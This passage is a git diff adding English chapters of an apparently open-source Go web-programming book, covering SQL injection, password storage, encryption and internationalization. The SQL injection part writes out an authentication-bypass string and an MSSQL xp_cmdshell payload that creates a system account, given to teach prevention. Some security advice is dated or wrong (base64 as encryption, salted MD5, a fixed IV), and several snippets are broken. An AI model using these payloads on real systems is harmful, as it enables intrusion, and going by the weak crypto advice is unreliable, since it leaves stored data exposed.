+ +Our form processing might look like this: + + username := r.Form.Get("username") + password := r.Form.Get("password") + sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'" + +If the user inputs a user name or password as: + + myuser' or 'foo' = 'foo' -- + +Then our SQL becomes the following: + + SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx' + +In SQL, anything after `--` is a comment. Thus, inserting the `--` as the attacker did above alters the query in a fatal way, allowing an attacker to successfully login as a user without a valid password. + +Far more dangerous exploits exist for MSSQL SQL injections, and some can even perform system commands. The following examples will demonstrate how terrible SQL injections can be in some versions of MSSQL databases. + + sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'" + Db.Exec(sql) + +If an attacker submits `a%' exec master..xp_cmdshell 'net user test testpass /ADD' --` as the "prod" variable, then the sql will become + + sql := "SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" + +The MSSQL Server executes the SQL statement including the commands in the user supplied "prod" variable, which adds new users to the system. If this program is run as is, and the MSSQLSERVER service has sufficient privileges, an attacker can register a system account to access this machine. + +> Although the examples above are tied to a specific database system, this does not mean that other database systems cannot be subjected to similar types of attacks. The principles behind SQL injection attacks remain the same, though the method with which they are perpetrated may vary. + +## How to prevent SQL injection + +You might be thinking that an attacker would have to know information about the target database's structure in order to carry out an SQL injection attack. While this is true, it's difficult to guarantee that an attacker won't be able to find this information and once they get it, the database can be compromised. If you are using open source software to access the database, such as a forum application, intruders can easily get the related code. Obviously with poorly designed code, the security risks are even greater. Discuz, phpwind and phpcms are some examples of popular open source programs that have been vulnerable to SQL injection attacks. + +These attacks happen to systems where safety precautions are not prioritized. We've said it before, we'll say it again: never trust any kind of input, especially user data. This includes data coming from selection boxes, hidden input fields or cookies. As our first example above has shown, even supposedly normal queries can cause disasters. + +SQL injection attacks can be devastating -how can do we even begin to defend against them? The following suggestions are a good starting point for preventing SQL injection: + +1. Strictly limit permissions for database operations so that users only have the minimum set of permissions required to accomplish their work, thus minimizing the risk of database injection attacks. +2. Check that input data has the expected data format, and strictly limit the types of variables that can be submitted. This can involve regexp matching, or using the strconv package to convert strings into other basic types for sanitization and evaluation. +3. Transcode or escape from pairs of special characters ( '"\&*; etc. ) before persisting them into the database. Go's `text/template` package has a `HTMLEscapeString` function that can be used to return escaped HTML. +4. Use your database's parameterized query interface. Parameterized statements use parameters instead of concatenating user input variables in embedded SQL statements; in other words, they do not directly splice ​​SQL statements. For example, using the the `Prepare` function in Go's `database/sql` package, we can create prepared statements for later execution with `Query` or `Exec(query string, args... interface {})`. +5. Before releasing your application, thoroughly test it using professional tools for detecting SQL injection vulnerabilities and to repair them, if they exist. There are many online open source tools that do just this, such as sqlmap, SQLninja, to name a few. +6. Avoid printing out SQL error information on public webpages. Attackers can use these error messages to carry out SQL injection attacks. Examples of such errors are type errors, fields not matching errors, or any errors containing SQL statements. + +## Summary + +Through the above examples, we've learned that SQL injection is a very real and very dangerous web security vulnerability. When we write web application, we should pay attention to every little detail and treat security issues with the utmost care. Doing so will lead to better and more secure web applications, and can ultimately be the determing factor in whether or not your application succeeds. + +## Links + +- [Directory](preface.md) +- Previous section: [XSS attacks](09.3.md) +- Next section: [Password storage](09.5.md) diff --git a/de/09.5.md b/de/09.5.md new file mode 100644 index 00000000..1c206b8a --- /dev/null +++ b/de/09.5.md @@ -0,0 +1,98 @@ +# 9.5 Password storage + +Over the years, many websites have suffered from breaches in user password data. Even top internet companies such as Linkedin and CSDN.net have been effected. The impact of these types of events has been felt across the entire internet, and cannot be underestimated. This is especially the case for today's internet users, who often adopt the habit of using the same password for many different websites. + +As web developers, we have many choices when it comes to implementing a password storage scheme. However, this freedom is often a double edged sword. So what are the common pitfalls and how can we avoid falling into them? + +## Common solutions + +Currently, the most frequently used password storage scheme is to one-way hash plaintext passwords before storing them. The most important characteristic of one-way hashing is that it is infeasible to recover the original data given the hashed data -hence the "one-way" in one-way hashing. Commonly used cryptographic, one-way hash algorithms include SHA-256, SHA-1, MD5 and so on. + +You can easily use the three aforementioned encryption algorithms in Go as follows: + + //import "crypto/sha256" + h := sha256.New() + io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") + fmt.Printf("% x", h.Sum(nil)) + + //import "crypto/sha1" + h := sha1.New() + io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") + fmt.Printf("% x", h.Sum(nil)) + + //import "crypto/md5" + h := md5.New() + io.WriteString(h, "需要加密的密码") + fmt.Printf("%x", h.Sum(nil)) + +There are two key features of one-way hashing: + +1) given a one-way hash of a password, the resulting summary is always uniquely determined. +2) calculation speed. As technology advances, it only takes a second to complete billions of one-way hash calculations. + +Given the combination of the above two characteristics, and taking into account the fact that the majority of people use some combination of common passwords, an attacker can compute a combination of all the common passwords. Even though the passwords you store in your database may be hash values only, if attackers gain access to this database, they can compare the stored hashes to their precomputed hashes to obtain the corresponding passwords. This type of attack relies on what is typically called a `rainbow table`. + +We can see that encrypting user data using one-way hashes may not be enough. Once a website's database gets leaked, the user's original password could potentially be revealed to the world. + +## Advanced solution + +Through the above description, we've seen that hackers can use `rainbow table`s to crack hashed passwords, largely because the hash algorithm used to encrypt them is public. If the hackers do not know what the encryption algorithm is, they wouldn't even know where to start. + +An immediate solution would be to design your own hash algorithm. However, good hash algorithms can be very difficult to design both in terms of avoiding collisions and making sure that your hashing process is not too obvious. These two points can be much more difficult to achieve than expected. For most of us, it's much more practical to use the existing, battle hardened hash algorithms that are already out there. + +But, just to repeat ourselves, one-way hashing is still not enough to stop more sophisticated hackers from reverse engineering user passwords. Especially in the case of open source hashing algorithms, we should never assume that a hacker does not have intimate knowledge of our hashing process. + +Of course, there are no impenetrable shields, but there are also no unbreakable spears. Nowadays, any website with decent security will use a technique called "salting" to store passwords securely. This practice involves concatenating a server-generated random string to a user supplied password, and using the resulting string as an input to a one-way hash function. The username can be included in the random string to ensure that each user has a unique encryption key. + + //import "crypto/md5" + // Assume the username abc, password 123456 + h := md5.New() + io.WriteString(h, "password need to be encrypted") + + pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) + + // Specify two salt: salt1 = @#$% salt2 = ^&*() + salt1 := "@#$%" + salt2 := "^&*()" + + // salt1 + username + salt2 + MD5 splicing + io.WriteString(h, salt1) + io.WriteString(h, "abc") + io.WriteString(h, salt2) + io.WriteString(h, pwmd5) + + last :=fmt.Sprintf("%x", h.Sum(nil)) + +In the case where our two salt strings have not been compromised, even if hackers do manage to get their hands on the encrypted password string, it will be almost impossible to figure out what the original password is. + +## Professional solution + +The advanced methods mentioned above may have been secure enough to thwart most hacking attempts a few years ago, since most attackers would not have had the computing resources to compute large `rainbow table`s. However, with the rise of parallel computing capabilities, these types of attacks are becoming more and more feasible. + + How do we securely store a password so that it cannot be deciphered by a third party, given real life limitations in time and memory resources? The solution is to calculate a hashed password to deliberately increase the amount of resources and time it would take to crack it. We want to design a hash such that nobody could possibly have the resources required to compute the required `rainbow table`. + +Very secure systems utilize hash algorithms that take into account the time and resources it would require to compute a given password digest. This allows us to create password digests that are computationally expensive to perform on a large scale. The greater the intensity of the calculation, the more difficult it will be for an attacker to pre-compute `rainbow table`s -so much so that it may even be infeasible to try. + +In Go, it's recommended that you use the `scrypt` package, which is based on the work of the famous hacker Colin Percival (of the FreeBSD backup service Tarsnap). + +The packge's source code can be found at the following link: http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt + +Here is an example code snippet which can be used to obtain a derived key for an AES-256 encryption: + + dk: = scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) + +You can generate unique password values using the above method, which are by far the most difficult to crack. + +## Summary + +If you're worried about the security of your online life, you can take the following steps: + +1) As a regular internet user, we recommend using LastPass for password storage and generation; on different sites use different passwords. + +2) As a Go web developer, we strongly suggest that you use one of the professional, well tested methods above for storing user passwords. + +## Links + +- [Directory](preface.md) +- Previous section: [SQL injection](09.4.md) +- Next section: [Encrypt and decrypt data](09.6.md) diff --git a/de/09.6.md b/de/09.6.md new file mode 100644 index 00000000..37d81300 --- /dev/null +++ b/de/09.6.md @@ -0,0 +1,125 @@ +# 9.6 Encrypting and decrypting data + +The previous section describes how to securely store passwords, but sometimes it might be neccessary to modify some sensitive encrypted data that has already been stored into our database. When data decryption is required, we should use a symmetric encryption algorithm instead of the one-way hashing techniques we've previously covered. + +## Base64 Encryption and decryption + +If the web application is relatively simple, and the data security requirements are not so stringent, then you can use a relatively simple method of encryption and decryption using `base64`. This approach is relatively straightforward to implement, and Go's `base64` package has good support for this. Consider the following example: + + package main + + import ( + "encoding/base64" + "fmt" + ) + + func base64Encode(src []byte) []byte { + return []byte(base64.StdEncoding.EncodeToString(src)) + } + + func base64Decode(src []byte) ([]byte, error) { + return base64.StdEncoding.DecodeString(string(src)) + } + + func main() { + // encode + hello := "你好,世界! hello world" + debyte := base64Encode([]byte(hello)) + fmt.Println(debyte) + // decode + enbyte, err := base64Decode(debyte) + if err != nil { + fmt.Println(err.Error()) + } + + if hello != string(enbyte) { + fmt.Println("hello is not equal to enbyte") + } + + fmt.Println(string(enbyte)) + } + + +## Advanced encryption and decryption + +The Go language supports symmetric encryption algorithms in its `crypto` package. Two advanced encryption modules are: + +- `crypto/aes` package: AES (Advanced Encryption Standard), also known as Rijndael encryption method, is used by the U.S. federal government as a block encryption standard. +- `crypto/des` package: DES (Data Encryption Standard), is a symmetric encryption standard . It's currently the most widely used key system, especially in protecting the security of financial data. It used to be the United States federal government's encryption standard, but has now been replaced by AES. + +Because using these two encryption algorithms is quite similar, we'll just use the `aes` package in the following example to demonstrate how you'd typically use these packages: + + package main + + import ( + "crypto/aes" + "crypto/cipher" + "fmt" + "os" + ) + + var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} + + func main() { + // Need to encrypt a string + plaintext := []byte("My name is Astaxie") + // If there is an incoming string of words to be encrypted, set plaintext to that incoming string + if len(os.Args) > 1 { + plaintext = []byte(os.Args[1]) + } + + // aes encryption string + key_text := "astaxie12798akljzmknm.ahkjkljl;k" + if len(os.Args) > 2 { + key_text = os.Args[2] + } + + fmt.Println(len(key_text)) + + // Create the aes encryption algorithm + c, err := aes.NewCipher([]byte(key_text)) + if err != nil { + fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) + os.Exit(-1) + } + + // Encrypted string + cfb := cipher.NewCFBEncrypter(c, commonIV) + ciphertext := make([]byte, len(plaintext)) + cfb.XORKeyStream(ciphertext, plaintext) + fmt.Printf("%s=>%x\n", plaintext, ciphertext) + + // Decrypt strings + cfbdec := cipher.NewCFBDecrypter(c, commonIV) + plaintextCopy := make([]byte, len(plaintext)) + cfbdec.XORKeyStream(plaintextCopy, ciphertext) + fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) + } + +Calling the above function `aes.NewCipher` (whose []byte key parameter must be 16, 24 or 32, corresponding to the AES-128, AES-192 or AES-256 algorithms, respectively), returns a `cipher.Block` Interface that implements three functions: + + type Block interface { + // BlockSize returns the cipher's block size. + BlockSize() int + + // Encrypt encrypts the first block in src into dst. + // Dst and src may point at the same memory. + Encrypt(dst, src []byte) + + // Decrypt decrypts the first block in src into dst. + // Dst and src may point at the same memory. + Decrypt(dst, src []byte) + } + +These three functions implement encryption and decryption operations; see the Go documentation for a more detailed explanation. + +## Summary + +This section describes several encryption algorithms which can be used in different ways according to your web application's encryption and decryption needs. For the most basic applications, base64 encoding may suffice. For applications with more stringent security requirements, it's recommended to use the more advanced AES or DES algorithm . + + +## Links + +- [Directory]() +- Previous: [store passwords](<09.5.md>) +- Next: [Summary](<09.7.md>) diff --git a/de/09.7.md b/de/09.7.md new file mode 100644 index 00000000..7a799818 --- /dev/null +++ b/de/09.7.md @@ -0,0 +1,10 @@ +# 9.7 Summary + +In this chapter, we've described CSRF, XSS and SQL injection based attacks. Most web applications are vulnerable to these types of attacks due to a lack of adequate input filtering on the part of the application. So, in addition to introducing the principles behind these attacks, we've also introduced a few techniques for effectively filtering user data and preventing these attacks from ever taking place. We then talked about a few methods for securely storing user passwords, first introducing basic one-way hashing for web applications with loose security requirements, then password salting and encryption algorithms for more serious applications. Finally, we briefly discussed two-way hashing and the encryption and decryption of sensitive data. We learned that the Go language provides packages for three symmetric encryption algorithms: base64, AES and DES. +The purpose of this chapter is to help readers become more conscious of the security issues that exist in modern day web applications. Hopefully, it can help developers to plan and design their web applications a little more carefully, so they can write systems that are able to prevent hackers from exploiting user data. The Go language has a large and well designed anti-attack toolkit, and every Go developer should take full advantage of these packages to better secure their web applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Encrypt and decrypt data](09.6.md) +- Next chapter: [Internationalization and localization](10.0.md) diff --git a/de/10.0.md b/de/10.0.md new file mode 100644 index 00000000..ede5d6c6 --- /dev/null +++ b/de/10.0.md @@ -0,0 +1,24 @@ +# 10 Internationalization and localization + +In order to adapt to the increasing globalization of the internet, as developers, we may sometimes need to build multilingual, international web applications. +This means that same pages will appear in different languages according to user regions, and perhaps the UI and UX will also be adapted to show different effects based on local holidays or culture. For example at runtime, the application will be able to recognize and process requests coming from different geographical regions and render pages in the local dialect or display different user interface. As competent developers, we don't want to have to manually modify our application's source code to cater to every possible region out there. When an application needs to add support for a new language, we should be able to simply drop in the appropriate language pack and be done with it. + +In this section, we'll be talking about internationalization and localization (usually expressed as i18n and L10N, respectively). Internationalization is the process of designing applications that are flexible enough to be served to multiple regions around the world. In some ways, we can think of internationalization as something that helps to facilitate localization, which is the adaptation of a web application's content and design to suit the language or cultural needs of specific locales. + +Currently, Go's standard package does not provide i18n support, but there are some useful and relatively simple third-party implementations available. In this chapter, we'll be using the open-source "go-i18n" library to support internationalization in our examples. + +When we talk about making our web applications "international", we mean that each web page should be constructed with locale specific information and assembled with the corresponding local strings, time and currency formats, etc. This involves three things: + +1. how to determine the user's locale. + +2. how to save strings or other information associated with the locale. + +3. how to embed strings and other information according to the user's locale. + +In the first section, we'll describe how to detect and set the correct locale in order to allow website users access to their language specific pages. The second section describes how to handle or store strings, currencies, times, dates and other locale related information. Finally, the third section will describe how to internationalize your web application; more specifically, we'll discuss how to return different pages with locale appropriate content. Through these three sections, we'll be able to support full i18n in our web applications. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 9 Summary](09.7.md) +- Next section: [Setting the default region](10.1.md) diff --git a/de/10.1.md b/de/10.1.md new file mode 100644 index 00000000..7c333454 --- /dev/null +++ b/de/10.1.md @@ -0,0 +1,93 @@ +# 10.1 Setting the default region + +## Finding out the locale + +A locale is a set of descriptors for a particular geographical region, and can include specific language habits, text formatting, cultural idioms and a multitude of other settings. A locale's name is usually composed of three parts. First (and mandatory) is the locale's language abbreviation, such as "en" for English or "zh" for Chinese. The second part is an optional country specifier, and follows the first with an minus sign. This specifier allows web applications to distinguish between different countries which speak the same language, such as "en-US" for U.S. English, and "en-GB" for British English. The last part is another optional specifier, and is added to the locale with a period. It specifies which character set to use, for instance "zh-CN.gb2312" specifies the gb2312 character set for Chinese. + +Go defaults to the "UTF-8" encoding set, so i18n in Go applications do not need to consider the last parameter. Thus, in our examples, we'll only use the first two parts of locale descriptions as our standard i18n locale names. + +> On Linux and Solaris systems, you can use the `locale -a` command to get a list of all supported regional names. You can use this list as examples of some common locales. For BSD and other systems, there is no locale command, but the regional information is stored in `/usr/share/locale`. + +## Setting the locale + +Now that we've defined what a locale is, we need to be able to set it according to visiting users' information (either from their personal settings, the visited domain name, etc.). Here are some methods we can use to set the user's locale: + +### From the domain name + +We can set a user's locale via the domain name itself when the application uses different domains for different regions. For example, we can use www.asta.com as our default English website, and the domain name www.asta.cn as its Chinese counterpart. By setting up separate domains for separate regions, you can detect and serve the requested locale. This type of setup has several advantages: + +- Identifying the locale via URL is distinctive and unambiguous +- Users intuitively know which domain names to visit for their specific region or language +- Implementing this scheme in a Go application very simple and convenient, and can be achieved through a map +- Conducive to search engine crawlers which can improve the site's SEO + +We can use the following code to implement a corresponding domain name locale: + + if r.Host == "www.asta.com" { + i18n.SetLocale("en") + } else if r.Host == "www.asta.cn" { + i18n.SetLocale("zh-CN") + } else if r.Host == "www.asta.tw" { + i18n.SetLocale("zh-TW") + } + +Alternatively, we could have also set locales through the use of sub-domain such as "en.asta.com" for English sites and "cn.asta.com" for Chinese site. This scheme can be realized in code as follows: + + prefix:= strings.Split(r.Host,".") + + if prefix[0] == "en" { + i18n.SetLocale("en") + } else if prefix[0] == "cn" { + i18n.SetLocale("zh-CN") + } else if prefix[0] == "tw" { + i18n.SetLocale("zh-TW") + } + +Setting locales from the domain name as we've done above has its advantages, however l10n is generally not implemented in this way. First of all, the cost of domain names (although usually quite affordable individually) can quickly add up given that each locale will need its own domain name, and often the name of the domain will not necessarily fit in with the local context. Secondly, we don't want to have to individually configure each website for each locale. Rather, we should be able to do this programmatically, for instance by using URL parameters. Let's have a look at the following description. + +### From URL parameters + +The most common way of implementing l10n is to set the desired locale directly in the URL parameters, such `www.asta.com/hello?locale=zh` or `www.asta.com/zh/hello`. This way, we can set the region like so: `i18n.SetLocale(params["locale"])`. + +This setup has almost all the advantages of prepending the locale in front of the domain and it's RESTful, so we don't need to add additional methods to implement it. The downside to this approach is that it requires a corresponding locale parameter inside each link, which can be quite cumbersome and may increase complexity. However, we can write a generic function that produces these locale-specific URLs so that all links are generated through it. This function should automatically add a locale parameter to each link so when users click them, we are able to parse their requests with ease: `locale = params [" locale "]`. + +Perhaps we want our URLs to look even more RESTful. For example, we could map each of our resources under a specific locale like `www.asta.com/en/books` for our English site and `www.asta.com/zh/books` for the Chinese one. This approach is not only more conducive to URL SEO, but is also more friendly for users. Anybody visiting the site should be able to access locale-specific website resources directly from the URL. Such URL addresses can then be passed through the application router in order to obtain the proper locale (refer to the REST section, which describes the router plug-in implementation): + + mux.Get("/:locale/books", listbook) + +### From the client settings area + +In some special cases, we require explicit client information in order to set the locale rather than obtaining it from the URL or URL parameters. This information may come directly from the client's browser settings, the user's IP address, or the location settings filled out by the user at the time of registration. This approach is more suitable for web-based applications. + +- Accept-Language + +When a client requests information using an HTTP header set with the `Accept-Language` field, we can use the following Go code to parse the header and set the appropriate region code: + + AL := r.Header.Get("Accept-Language") + if AL == "en" { + i18n.SetLocale("en") + } else if AL == "zh-CN" { + i18n.SetLocale("zh-CN") + } else if AL == "zh-TW" { + i18n.SetLocale("zh-TW") + } + +Of course, in real world applications, we may require more rigorous processes and rules for setting user regions + +- IP Address + +Another way of setting a client's region is to look at the user's IP address. We can use the popular [GeoIP GeoLite Country or City libraries](http://dev.maxmind.com/geoip/legacy/geolite/) to help us relate user IP addresses to their corresponding regional areas. Implementing this mechanism is very simple: we only need to look up the user's IP address inside our database and then return locale-specific content according to which region was returned. + +- User profile + +You can also let users provide you with their locale information through an input element such as a drop-down menu (or something similar). When we receive this information, we can save it to the account associated with the user's profile. When the user logs in again, we will be able to check and set their locale settings -this guarantees that every time the user accesses the website, the returned content will be based on their previously set locale. + +## Summary + +In this section, we've demonstrated a variety of ways with which user specific locales can be detected and set. These methods included setting the user locale via domain name, subdomain name, URL parameters and directly from client settings. By catering to the specific needs of specific regions, we can provide a comfortable, familiar and intuitive environment for users to access the services that we provide. + +## Links + +- [Directory](preface.md) +- Previous one: [Internationalization and localization](10.0.md) +- Next section: [Localized resources](10.2.md) diff --git a/de/10.2.md b/de/10.2.md new file mode 100644 index 00000000..b9b7714b --- /dev/null +++ b/de/10.2.md @@ -0,0 +1,140 @@ +# 10.2 Localized Resources + +The previous section described how to set locales. After the locale has been set, we then need to address the problem of storing the information corresponding to specific locales. This information can include: textual content, time and date, currency values ​​, pictures, specific files and other view resources. In Go, all of this contextual information is stored in JSON format on our backend, to be called upon and injected into our views when users from specific regions visit our website. For example, English and Chinese content would be stored in en.json and zh-CN.json files, respectively. + +## Localized textual content + +Plain text is the most common way of representing information in web applications, and the bulk of your localized content will likely take this form. The goal is to provide textual content that is both idiomatic to regional expressions and feels natural for foreign users of your site. One solution is to create a nested map of locales, native language strings and their local counterparts. When clients request pages with some textual content, we first check their desired locale, then retrieve the corresponding strings from the appropriate map. The following snippet is a simple example of this process: + + package main + + import "fmt" + + var locales map[string]map[string]string + + func main() { + locales = make(map[string]map[string]string, 2) + en := make(map[string]string, 10) + en["pea"] = "pea" + en["bean"] = "bean" + locales["en"] = en + cn := make(map[string]string, 10) + cn["pea"] = "豌豆" + cn["bean"] = "毛豆" + locales["zh-CN"] = cn + lang := "zh-CN" + fmt.Println(msg(lang, "pea")) + fmt.Println(msg(lang, "bean")) + } + + func msg(locale, key string) string { + if v, ok := locales[locale]; ok { + if v2, ok := v[key]; ok { + return v2 + } + } + return "" + } + +The above example sets up maps of translated strings for different locales (in this case, the Chinese and English locales). We map our `cn` translations to the same English language keys so that we can reconstruct our English text message in Chinese. If we wanted to switch our text to any other locale we may have implemented, it'd be a simple matter of setting one `lang` variable. + +Simple key-value substitutions can sometimes be inadequate for our needs. For example, if we had a phrase such as "I am 30 years old" where 30 is a variable, how would we localize it? In cases like these, we can combine use the `fmt.Printf` function to achieve the desired result: + + en["how old"] = "I am %d years old" + cn["how old"] = "我今年%d岁了" + + fmt.Printf(msg(lang, "how old"), 30) + +The example code above is only for the purpose of demonstration; actual locale data is typically stored in JSON format in our database, allowing us to execute a simple `json.Unmarshal` to populate map locales with our string translations. + +## Localized date and time + +Because of our time zone conventions, the time in one region of the world can be different than the time in another region. Similarly, the way in which time is represented can also vary from locale to locale. For example, a Chinese environment may read `2012年10月24日 星期三 23时11分13秒 CST`, while in English, it might be: `Wed Oct 24 23:11:13 CST 2012`. Not only are there variations in language, but there are differences in formatting also. So, when it comes to localizing dates and times, we need to address the following two points: + +1. time zones +2. formatting issues + +The `$GOROOT/lib/time/package/timeinfo.zip` directory contains locales corresponding to time zone definitions. In order to obtain the time corresponding to a user's current locale, we should first use `time.LoadLocation(name string)` to get a Location object corresponding to our locale, passing in a string representing the locale such as `Asia/Shanghai` or `America/Chicago`. We can then use this Location object in conjunction with a Time object (obtained by calling `time.Now`) to get the final time using the Time object's `In` method. A detailed look at this process can be seen below (this example uses some of the variables from the example above): + + en["time_zone"] = "America/Chicago" + cn["time_zone"] = "Asia/Shanghai" + + loc, _ := time.LoadLocation(msg(lang, "time_zone")) + t := time.Now() + t = t.In(loc) + fmt.Println(t.Format(time.RFC3339)) + +We can handle text formatting in a similar way to solve our time formatting problem: + + en["date_format"]="%Y-%m-%d %H:%M:%S" + cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒" + + fmt.Println(date(msg(lang,"date_format"),t)) + + func date(fomat string, t time.Time) string{ + year, month, day = t.Date() + hour, min, sec = t.Clock() + //Parsing the corresponding %Y%m%d%H%M%S and then returning the information + //%Y replaced by 2012 + //%m replaced by 10 + //%d replaced by 24 + } + +## Localized currency value + +Obviously, currency differs from region to region also. We can treat it the same way we treated our dates: + + en["money"] ="USD %d" + cn["money"] ="¥%d元" + + fmt.Println(date(msg(lang,"date_format"),100)) + + func money_format(fomat string, money int64) string{ + return fmt.Sprintf(fomat, money) + } + + +## Localization of views and resources + +We can serve customized views with different images, css, js and other static resources depending on the current locale. One way to accomplish this is by organizing these files into their respective locales. Here's an example: + + views + |--en //English Templates + |--images //store picture information + |--js //JS files + |--css //CSS files + index.tpl //User Home + login.tpl //Log Home + |--zh-CN //Chinese Templates + |--images + |--js + |--css + index.tpl + login.tpl + +With this directory structure, we can render locale-specific views like so: + + s1, _ := template.ParseFiles("views" + lang + "index.tpl") + VV.Lang = lang + s1.Execute(os.Stdout, VV) + +The resources referenced in the `index.tpl` file can be dealt with as follows: + + // js file + + // css file + + // Picture files + + +With dynamic views and the way we've localized our resources, we will be able to add more locales without much effort. + +## Summary + +This section described how to use and store local resources. We learned that we can use conversion functions and string interpolation for this, and saw that maps can be an effective way of storing locale-specific data. For the latter, we could simply extract the corresponding locale information when needed -if it was textual content we desired, our mapped translations and idioms could be piped directly to the output. If it was something more sophisticated like time or currency, we simply used the `fmt.Printf` function to format it before-hand. Localizing our views and resources was the easiest case, and simply involved organizing our files into their respective locales, then referencing them from their locale relative paths. + +## Links + +- [Directory](preface.md) +- Previous section: [Setting the default region](10.1.md) +- Next section: [[International sites](10.3.md) diff --git a/de/10.3.md b/de/10.3.md new file mode 100644 index 00000000..6d1ef4cb --- /dev/null +++ b/de/10.3.md @@ -0,0 +1,184 @@ +# 10.3 International sites + +The previous section explained how to deal with localized resources, namely by using locale configuration files. So what can we do if we need to deal with *multiple* localized resources like text translations, times and dates, numbers, etc? This section will address these issues one by one. + +## Managing multiple locale packages + +In the development of an application, often the first thing you need to do is to decide whether or not you want to support more than one language. If you do decide to support multiple languages, you'll need to develop an organizational structure to facilitate the process of adding more languages in the future. One way we can do this is to put all our related locale files together in a `config/locales` directory, or something of the like. Let's suppose you want to support both Chinese and English. In this case, you'd be placing both the en.json and zh.json locale files into the aforementioned folder. Their contents would probably look something like the following: + + # zh.json + + { + "zh": { + "submit": "提交", + "create": "创建" + } + } + + #en.json + + { + "en": { + "submit": "Submit", + "create": "Create" + } + } + +We decided to use some 3rd party Go packages to help us internationalize our web applications. In the case of [go-i18n](https://github.com/astaxie/go-i18n) ( ***A more advanced i18n package can be found [here](https://github.com/beego/i18n)*** ), we first have to register our `config/locales` directory to load all of our locale files: + + Tr := i18n.NewLocale() + Tr.LoadPath("config/locales") + +This package is simple to use. We can test that it works like so: + + fmt.Println(Tr.Translate("submit")) + //Output "submit" + Tr.SetLocale("zn") + fmt.Println(Tr.Translate("submit")) + //Outputs "递交" + +## Automatically load local package + +We've just described how to automatically load custom language packs. In fact, the `go-i18n` library comes pre-loaded with a bunch of default formatting information such as time and currency formats. These default configurations can be overridden and customized by users to suit their needs. Consider the following process: + + //Load the default configuration files, which are placed below in `go-i18n/locales` + + //File should be named zh.json, en-json, en-US.json etc., so we can be continuously support more languages + + func (il *IL) loadDefaultTranslations(dirPath string) error { + dir, err := os.Open(dirPath) + if err != nil { + return err + } + defer dir.Close() + + names, err := dir.Readdirnames(-1) + if err != nil { + return err + } + + for _, name := range names { + fullPath := path.Join(dirPath, name) + + fi, err := os.Stat(fullPath) + if err != nil { + return err + } + + if fi.IsDir() { + if err := il.loadTranslations(fullPath); err != nil { + return err + } + } else if locale := il.matchingLocaleFromFileName(name); locale != "" { + file, err := os.Open(fullPath) + if err != nil { + return err + } + defer file.Close() + + if err := il.loadTranslation(file, locale); err != nil { + return err + } + } + } + + return nil + } + +Using the above code to load all of our default translations, we can then use the following code to select and use a locale: + + fmt.Println(Tr.Time(time.Now())) + //Output: 2009年1月08日 星期四 20:37:58 CST + + fmt.Println(Tr.Time(time.Now(),"long")) + //Output: 2009年1月08日 + + fmt.Println(Tr.Money(11.11)) + //Output: ¥11.11 + +## Template mapfunc + +Above, we've presented one way of managing and integrating a number of language packs. Some of the functions we've implemented are based on the logical layer, for example: "Tr.Translate", "Tr.Time", "Tr.Money" and so on. In the logical layer, we can use these functions (after supplying the required parameters) for applying your translations, outputting the results directly to the template layer at render time. What can we do if we want to use these functions *directly* in the template layer? In case you've forgotten, earlier in the book we mentioned that Go templates support custom template functions. The following code shows how easy mapfunc is to implement: + +1 text information + +A simple text conversion function implementing a mapfunc can be seen below. It uses `Tr.Translate` to perform the appropriate translations: + + func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Translate(s) + } + +We register the function like so: + + t.Funcs(template.FuncMap{"T": I18nT}) + +Then use it from your template: + + {{.V.Submit | T}} + + +2. The date and time + +Dates and times call the `Tr.Time` function to perform their translations. The mapfunc is implemented as follows: + + func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Time(s) + } + +Register the function like so: + + t.Funcs(template.FuncMap{"TD": I18nTimeDate}) + +Then use it from your template: + + {{.V.Now | TD}} + +3 Currency Information + +Currencies use the `Tr.Money` function to convert money. The mapFunc is implemented as follows: + + func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Money(s) + } + +Register the function like so: + + t.Funcs(template.FuncMap{"M": I18nMoney}) + +Then use it from your template: + + {{.V.Money | M}} + +## Summary + +In this section we learned how to implement multiple language packs in our web applications. We saw that through custom language packs, we can not only easily internationalize our applications, but facilitate the addition of other languages also (through the use of a configuration file). By default, the go-i18n package will provide some common configurations for time, currency, etc., which can be very convenient to use. We learned that these functions can also be used directly from our templates using mapping functions; each translated string can be piped directly to our templates. This enables our web applications to accommodate multiple languages with minimal effort. + +## Links + +- [Directory](preface.md) +- Previous section: [Localized resources](10.2.md) +- Next section: [Summary](10.4.md) diff --git a/de/10.4.md b/de/10.4.md new file mode 100644 index 00000000..072ac749 --- /dev/null +++ b/de/10.4.md @@ -0,0 +1,9 @@ +# 10.4 Summary + +Through this introductory chapter on i18n, you should now be familiar with some of the steps and processes that are necessary for internationalizing and localizing your websites. I've also introduced an open source solution for i18n in Go: [go-i18n](https://github.com/astaxie/go-i18n). Using this open source library, we can easily implement multi-language versions of our web applications. This allows our applications to be flexible and responsive to local audiences all around the world. If you find an error in this open source library or any missing features, please open an issue or a pull request! Let's strive to make it one of Go's standard libraries! + +## Links + +- [Directory](preface.md) +- Previous section: [International sites](10.3.md) +- Next chapter: [Error handling, debugging and testing](11.0.md) diff --git a/de/11.0.md b/de/11.0.md new file mode 100644 index 00000000..0d0cb8c3 --- /dev/null +++ b/de/11.0.md @@ -0,0 